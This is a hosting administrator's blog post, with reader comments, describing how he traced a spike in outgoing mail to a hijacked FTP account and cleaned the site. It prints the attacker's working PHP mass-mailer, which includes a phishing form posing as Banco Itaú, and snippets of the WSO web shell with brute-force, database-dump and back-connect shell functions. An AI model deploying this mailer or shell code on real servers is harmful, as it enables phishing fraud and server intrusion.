Hacker extraction – New personal best: 10 minutes!

Last night, just before turning off the lights and harassing my wife, I received a text message from our server monitoring software saying that the mail queue on one of our shared web servers had suddenly spiked.  Lots of emails being pumped out of a shared web server is almost always the sign of something bad.


Logged into machine and examined one of the emails in the mail queue.  Because we roll our own PHP its compiled with a patch that inserts the full path to the script that sent the email. Years ago, when we didn’t have this patch installed, determining which site and/or script sent an email could have taken hours – or be nearly impossible to figure out.   Here’s what the mail header looked like (note: the actual web site address has been modified to protect the client):

Subject: Some kind of spammy subject
X-PHP-Script: clientsite.us/top.php for

top.php!  Busted!  My spidey sense says there’s nothing good about that file.


Moved over to the client’s document root and ran an “ls -lta” to sort the client web site files by time modified, and found this:

drwxrwx--- 5 clientsite.us clientsite.us 4096 May 1 22:55 .
drwxrwx--- 7 clientsite.us clientsite.us 4096 May 1 22:52 ..
-rw-rw---- 1 clientftp clientsite.us 4613 May 1 19:03 top.php
-rw-rw---- 1 clientftp clientsite.us 60724 May 1 19:03 2.php
drwxrwx--- 2 clientsite.us clientsite.us 4096 Dec 1 2005 usage
drwxrwx--- 2 clientsite.us clientsite.us 4096 Jan 18 2005 pages
drwxrwx--- 2 clientsite.us clientsite.us 4096 Jan 18 2005 images
-rwxrwx--- 1 clientsite.us clientsite.us 949 Jan 18 2005 contents.html
-rwxrwx--- 1 clientsite.us clientsite.us 710 Jan 18 2005 index.html

This one is going to be easy.  The client site has no server-side dynamic scripting (i.e. no PHP and no PERL) so it couldn’t be a vulnerability in the code.  There’s also that nefarious top.php file and another not-ok looking file called 2.php.  Both were uploaded a few hours earlier via FTP.  This bad guy got ahold of the clients FTP account.


Out of curiosity I checked the FTP logs to see who uploaded top.php and from what IP address.  Got an immediate hit:

zcat /var/log/proftpd.paranoid_log|grep top.php clientftp [01/May/2012:18:03:40 -0700] “STOR top.php” 226 4613


That’s the bad guy’s IP address.  Let’s see where he’s connecting from:

# dig -x

;; ANSWER SECTION: 3600 IN PTR c95ea7be.virtua.com.br.


.br extensions are Brazil.  That sure ain’t our client!


Its a bad guy from Brazil who got ahold of the clients FTP username and password.  A quick check of the client’s FTP password and its the same as the username!  Ugh!  We don’t allow that any longer but this client has been around a long time, back when the internet was a nicer place.

FTP account deleted.

Mail queue deleted.

Hacked site deleted.


Client web site restored from previous night’s backup.

Updated our incident tracking software so our staff and client knows about what happened.


In bed!


Post Script

Nearly every time that we clean a hacker out of a site someone asks “Did you contact the authorities?”  Ha!  Exactly who might that be?  The Brazillian police?  The Taos police?  Someone from the FBI?  Nope, there’s no one out there that would have a clue how to track this person down nor would anyone care.

Here’s the contents of top.php. Its clearly a simple spam emailer.  There are a few email addresses in here.  I dare you to email Joey…

$testa = $_POST['veio'];
if($testa != "") {
	$message = $_POST['html'];
	$subject = $_POST['assunto'];
	$nome = $_POST['nome'];
	$de = $_POST['de'];
	$to = $_POST['emails'];

	$headers  = "MIME-Version: 1.0\r\n";
	$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";

	$email = explode("\n", $to);
	$headers .= "From: ".$nome." <".$de.">\r\n";
	$message = stripslashes($message);

	$i = 0;
	$count = 1;
	while($email[$i]) {
		$ok = "ok";
		$num1 = rand(100000,999999);
		$num2 = rand(100000,999999);
		$aux = explode(';',$email[$i]);
		$message = str_replace("%rand%", $num1, $message);
		$message = str_replace("%rand2%", $num2, $message);
		$message = str_replace("%email%", $aux[0], $message);
		$message = str_replace("%nome%", $aux[1], $message);
		$message = str_replace("%cpf%", $aux[2], $message);
		$message = str_replace("%etc%", $aux[3], $message);
		$subject = str_replace("%nome%", $aux[1], $subject);

		if(mail($aux[0], $subject, $message, $headers))
		echo "* Número: $count <b>".$aux[0]."</b> <font color=green>joey! Go go go!!!</font><br><hr>";
		echo "* Número: $count <b>".$aux[0]."</b> <font color=red>Erro no servidor!</font><br><hr>";


<title> joey  </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
body {
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
	margin-bottom: 0;
.titulo {
	font-family: Tahoma, verdana, Arial, Helvetica, sans-serif;
	font-size: 50px;
	color: #000000;
	font-weight: bold;

.normal {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #000000;

.form {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 10px;
	color: #333333;
	background-color: #FFFFFF;
	border: 1px dashed #666666;

.texto {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-weight: bold;

.alerta {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-weight: bold;
	color: #990000;
	font-size: 10px;
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <input type="hidden" name="veio" value="sim">
  <table width="464" height="511" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
      <td width="462" height="25" align="center" bgcolor="#99CCFF"><span>é a gente!</span></td>
      <td height="194" valign="top" bgcolor="#FFFFFF">
	  	<table width="100%"  border="0" cellpadding="0" cellspacing="5" height="444">
            <td align="right" height="17"><span>De / e-mail :</span></td>
            <td width="65%" height="17"><input name="nome" type="text" id="nome"  value="Banco Itaú" style="width:48%" > <input name="de" type="text" id="de" value="comunicacaodigital@itau-unibanco.com.br" style="width:49%" ></td>
            <td align="right" height="17"><span>Assunto:</span></td>
            <td height="17"><input name="assunto" type="text" id="assunto" value="Prezado Cliente, %nome%" style="width:100%" ></td>
          <tr align="center" bgcolor="#99CCFF">
            <td height="20" colspan="2" bgcolor="#99CCFF"><span>C&oacute;digo HTML:</span></td>
          <tr align="right">
            <td height="146" colspan="2" valign="top"><br>
              <textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" id="html"></textarea>
              <span>*Lembrete: texto em HTML</span></td>
          <tr align="center" bgcolor="#99CCFF">
            <td height="47" colspan="2"><span>Coloque os emails de suas vitimas abaixo: </span>
              <p><span>OBS: um e-mail em cima do outro </span></td>
          <tr align="right">
            <td height="136" colspan="2" valign="top"><br>
<textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" id="emails">etanois666@hotmail.com;joey
              <span>*Separado por quebra de linha</span> </td>
            <td height="26" align="right" valign="top" colspan="2"><input type="Submit" name="Submit" value="Enviar"></td>
      <td height="15" align="center" bgcolor="#99CCFF"><b>** php para envio personalizado edited by Joey **<br>public@sjoey.com - joeymrts@gmail.com</td>




And here’s the contents of 2.php, which is a web attack shell and is MUCH more interesting.  Usually bad guys install this type of script in an attempt to hack other sites on the same server, but because of our super-secure permissions scheme this never works.  So the Joey Brazillian hacker decided to send spam using top.php and try and make a few bucks instead.

Note:  I only included snippets of this file since there’s so much nastiness in it.  If one of you nerds wants the full contents let me know and I’ll send it to you.

* WSO 2
* Web Shell by oRb
#$auth_pass = "4BEA249142664D11A289FFDF30225A91"; //root
$color = "#df5";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);

if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
$_POST = stripslashes_array($_POST);
function printLogin() {
<form method=post>
Password: <input type=password name=pass><input type=submit value='>>'>
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();

----------------- snip -----------------

echo '<h1>FTP bruteforce</h1><div><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<td><input type=text name=server value=""></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';

----------------- snip -----------------

$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
ob_start("ob_gzhandler", 4096);
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
<h1>Sql browser</h1><div>
<form name="sf" method="post">
<table cellpadding="2" cellspacing="0">
<input type=hidden name=a value=Sql>
<input type=hidden name=p1 value='query'>
<input type=hidden name=p2>
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
<select name='type'>
<option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
<option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
<td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
<td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
<td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>

----------------- snip -----------------

function actionNetwork() {

----------------- snip -----------------

if(isset($_POST['p1'])) {
function cf($f,$t) {
$w=@fopen($f,"w") or @function_exists('file_put_contents');
if($w) {
@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
if($_POST['p1'] == 'bpc') {
$out = ex("gcc -o /tmp/bp /tmp/bp.c");
$out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre>$out\n".ex("ps aux | grep bp")."</pre>";
if($_POST['p1'] == 'bpp') {
$out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
echo "<pre>$out\n".ex("ps aux | grep bp.pl")."</pre>";
if($_POST['p1'] == 'bcc') {
$out = ex("gcc -o /tmp/bc /tmp/bc.c");
$out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre>$out\n".ex("ps aux | grep bc")."</pre>";
if($_POST['p1'] == 'bcp') {
$out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre>$out\n".ex("ps aux | grep bc.pl")."</pre>";
echo '</div>';
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);

Good stuff, eh?

Feel free to comment.  And I’ll try to post this type of hacker analysis more often if you all find this to be interesting.  We kick hackers out of sites often.

~ Oban

9 thoughts on “Hacker extraction – New personal best: 10 minutes!

  1. You LOVE this stuff, doncha? :-) That’s why I host with Brownrice!

    Lots of good anecdotal lore and tips in this tale, too. I vote for more like this.

  2. My FaceBook account got locked two days ago and they sent me an email to tell me that my account had been logged into from an unfamiliar place based on my history. When I went to unlock it turned out that the hacker was also from Brazil. Flouridians (or something close) was the town.

    I changed my password and was able to get back on. I’ve taken FBs advice to change passwords on other accounts.

  3. Yes, I love this stuff. However that hasn’t always been the case. Hackers used to scare the crap out of me. I’d literally start sweating when a mail queue would spike or a big bandwidth spike would happen. After years of doing this shared hosting gig we’ve got things so tight that hackers can’t do much when they break into a site. Its just a matter of sleuthing them out and cleaning up the holes that they found.

    Zizi. Wow. Brazil also. I haven’t seen too many hacks from Brazil in the past. Who knows, maybe its a new hotbed?

    The reality is that hackers come from anywhere that there isn’t enough money for computer nerds to earn to pay the bills. Though they certainly make my work a bit more challenging I can’t say that I hate hackers and actually feel some sympathy. Maybe I’m too much of a wuss.

    And its good to hear that you nerds like hearing about this stuff. I’ll keep it up, especially since most people’s eye’s glaze over when I start talking about it.

  4. It could have come in over TOR through a node in Brazil, though I have heard that Brazil does have a lot of computer security activity these days. I’ve heard mention of Brazillians in some of the recent security vulnerability (pwn) contests.

    Not surprising at all. Nice to know you’ve got it locked down. :-)

    Passwords are one of the hardest things to get right. I try to make long, complicated, random ones for my clients but they always want to go back to something simple. :-)


  5. Terrific story. I love hearing about these attacks.

    Timing of your post coincides with my finding attack code on a site Im working with. This one had Vietnamese references. I ran some of the php too take a look. Wow! One was a shell into the client site – looked like it was code that hackers shared with each other – it mention the non existent site xgr0upVN.org as the source.

    Another file looked like an FTP program with a sophisticated interface that allowed the user to set file permissions.

    This last scared me since I thought I disabled all access, maybe all someone needed to do would be to access a php file to still cause harm.

    Anyway. Thanks again for the post.

  6. Enjoyed the story, told along the timeline of 10 minutes. This nerd votes for more, and thanks!

Leave a Reply

Your email address will not be published. Required fields are marked *